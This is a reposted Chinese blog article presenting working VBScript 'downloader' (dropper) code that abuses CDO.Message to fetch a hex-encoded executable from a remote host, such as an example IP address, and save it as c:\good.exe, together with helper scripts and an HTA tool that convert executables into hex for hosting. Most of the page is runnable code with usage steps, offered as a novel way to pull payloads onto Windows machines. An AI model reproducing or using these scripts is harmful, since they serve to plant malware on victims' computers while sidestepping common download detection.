当前位置： 移动技术网 > IT编程>脚本编程>VBScript > 最新版利用CDO.Message做的vbs下载者

最新版利用CDO.Message做的vbs下载者

2017年12月08日  | 移动技术网IT编程  | 我要评论

vbs下载者有很多了，我这里是一个伟大的发明，利用cdo.message做的vbs下载者。伟大是装b的意思。
np先把代码写完了，详情看这里：http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html

lcx大哥在写他的blog备份脚本时发现 cdo.message可以访问网络下载东西，说是研究研究或许可以用来当下载者用。
于是研究了一会。写出个粗糙的demo。
exe2hex.vbs //xiaolu写的exe2vbs ，我修改成直接拖放,转成十六进制
================================================

复制代码 代码如下:

'code by xiaolu
'change by netpatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
set ado = createobject("adodb.stream")
with ado
.type = 1
.open
.loadfromfile fname
ss = .read
end with
if err.number<>0 then
if msgbox("文件打开错误!",1,"file2vbs")=2 then wscript.quit
else
exit do
end if
loop
if fname="" then wscript.quit
set fso=createobject("scripting.filesystemobject")
set file=fso.opentextfile(arg(0)&".htm",2, true)
file.write bin2str(ss)
file.close
set fso=nothing
ado.close
set abo=nothing
function bin2str(re)
for i = 1 to lenb(re)
bt = ascb(midb(re, i, 1))
if bt < 16 then bin2str=bin2str&"0"
bin2str=bin2str & hex(bt)
next
end function

======================================
下载者 down.vbs
=============
复制代码 代码如下:

on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by netpatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
set mail1 = createobject("cdo.message")
mail1.createmhtmlbody arg(0),31
ss= mail1.htmlbody
set mail1 = nothing
set rs=createobject("adodb.recordset")
l=len(ss)/2
rs.fields.append "m",205,l
rs.open:rs.addnew
rs("m")=ss&chrb(0)
rs.update
ss=rs("m").getchunk(l)
set s=createobject("adodb.stream")
with s
.mode = 3
.type = 1
.open()
.write ss
.savetofile arg(1),2
end with

==================================
demo.htm内容时用exe2hex.vbs转exe后获得的
使用方法：
1.exe2hex.vbs 把exe转成十六进制，放到网络上
2.down.vbs http://xxx/demo.htm c:\good.exe


由于np写的不知什么原因，在我机器上执行后生成的exe，进程不会自动退出，我重新更新一下。
＝＝＝＝＝＝＝用下面这个hta文件来转exe变成16进制的html保存了。这样也会方便一点。＝＝＝＝＝＝＝
复制代码 代码如下:

<!doctype html public "-//w3c//dtd html 4.01 transitional//en">
<html>
<head>
<title>package file v0.1</title>
<meta http-equiv="content-type" content="text/html; charset=gb2312">
<hta:application
id="package file v0.1"
applicationname="package file v0.1"
version="0.1"
scroll="no"
innerborder="no"
contextmenu="yes"
caption="yes"
icon="no"
showintaskbar="yes"
singleinstance="yes"
sysmenu="yes"
maximizebutton ="no"
windowstate="normal"
navigable="yes"
/>
<script language="vbscript">
function transfert()
dim filename
filename = document.getelementbyid("srcfile").value
if len(filename)>0 then
dim oreq
'on error resume next
'//创建xmlhttp对象
set oreq = createobject("msxml2.xmlhttp")
oreq.open "get","file:\\" & filename,false
oreq.send
ff = oreq.responsebody
dim u,s,kk
u = lenb(ff)
redim kk(u-1)
for i=0 to u-1
s = hex(ascb(midb(ff,i+1,1)))
if len(s)<2 then
s = "0" & s
end if
'kk = kk & s
kk(i) = s
next
make filename,join(kk,"")
else
document.getelementbyid("srcfile").focus
msgbox "请选择要压缩的文件",16,"提示"
end if
end function
function make(filename,data)
dim htm,file
file = mid(filename,instrrev(filename,"\")+1)
htm = htm & data
dim fso,f
dim this_file
this_file = file & "-pf.htm"
set fso = createobject("scripting.filesystemobject")
set f = fso.opentextfile(this_file, 2, true)
f.write htm
msgbox "生成文件" & this_file & "成功！",64,"生成"
end function
</script>
</head>
<body marginleft=0 marginright=0 onload="window.resizeto 389,145 ">
请选择文件：<input type=file id="srcfile" style="width:260px;"><br><br>
<input type=button value=" 转换 " onclick="transfert"> <input type=button value=" 关闭 " onclick="window.close">
</body>
</html>

=====================再用下面这个vbs脚本来下载,把hta生成的htm放到空间上，用np写的那个下载生成的htm也可以，代码更少＝＝＝＝＝＝＝＝＝
复制代码 代码如下:

'//保存文件
function savefile(filename,str)
set adodbstream = createobject("adodb" & "." & "stream")
adodbstream.type= 1
adodbstream.open
adodbstream.write str
adodbstream.savetofile filename,2
adodbstream.close
end function
'//vb数组转变成二进制格式
function multibytetobinary(multibyte)
dim rs, lmultibyte, binary
const adlongvarbinary = 205
set rs = createobject("adodb.recordset")
lmultibyte = lenb(multibyte)
if lmultibyte>0 then
rs.fields.append "mbinary", adlongvarbinary, lmultibyte
rs.open
rs.addnew
rs("mbinary").appendchunk multibyte & chrb(0)
rs.update
binary = rs("mbinary").getchunk(lmultibyte)
end if
multibytetobinary = binary
end function

function exec()
'//屏蔽错误
on error resume next
set args = wscript.arguments
if args.count = 0 then
wscript.echo "usage: cscript down.vbs url c:\1.exe"
wscript.quit 1
end if
dim data,t,kk,filename,ss
set mail1 = createobject("cdo.message")
mail1.createmhtmlbody args.item(0) ,31
'mail1.createmhtmlbody "c:\xxx\lcx.exe-pf.htm",31
ss= mail1.htmlbody
set mail1=nothing

'//得到数据
data = ss
'//得到文件名
filename = args.item(1)
'//得到数据长度
u = len(data)
'//获得文件数组
for i=1 to u step 2
t = mid(data,i,2)
kk = kk & chrb(clng("&h" & t))
next
'//转变成二进制格式
dataarry = multibytetobinary(kk)
'//保存文件
savefile filename,dataarry

end function
exec()

您可能感兴趣的文章:

如对本文有疑问， 点击进行留言回复！！

相关文章:

验证码：
最近更新的文章
大家感兴趣的文章
移动技术网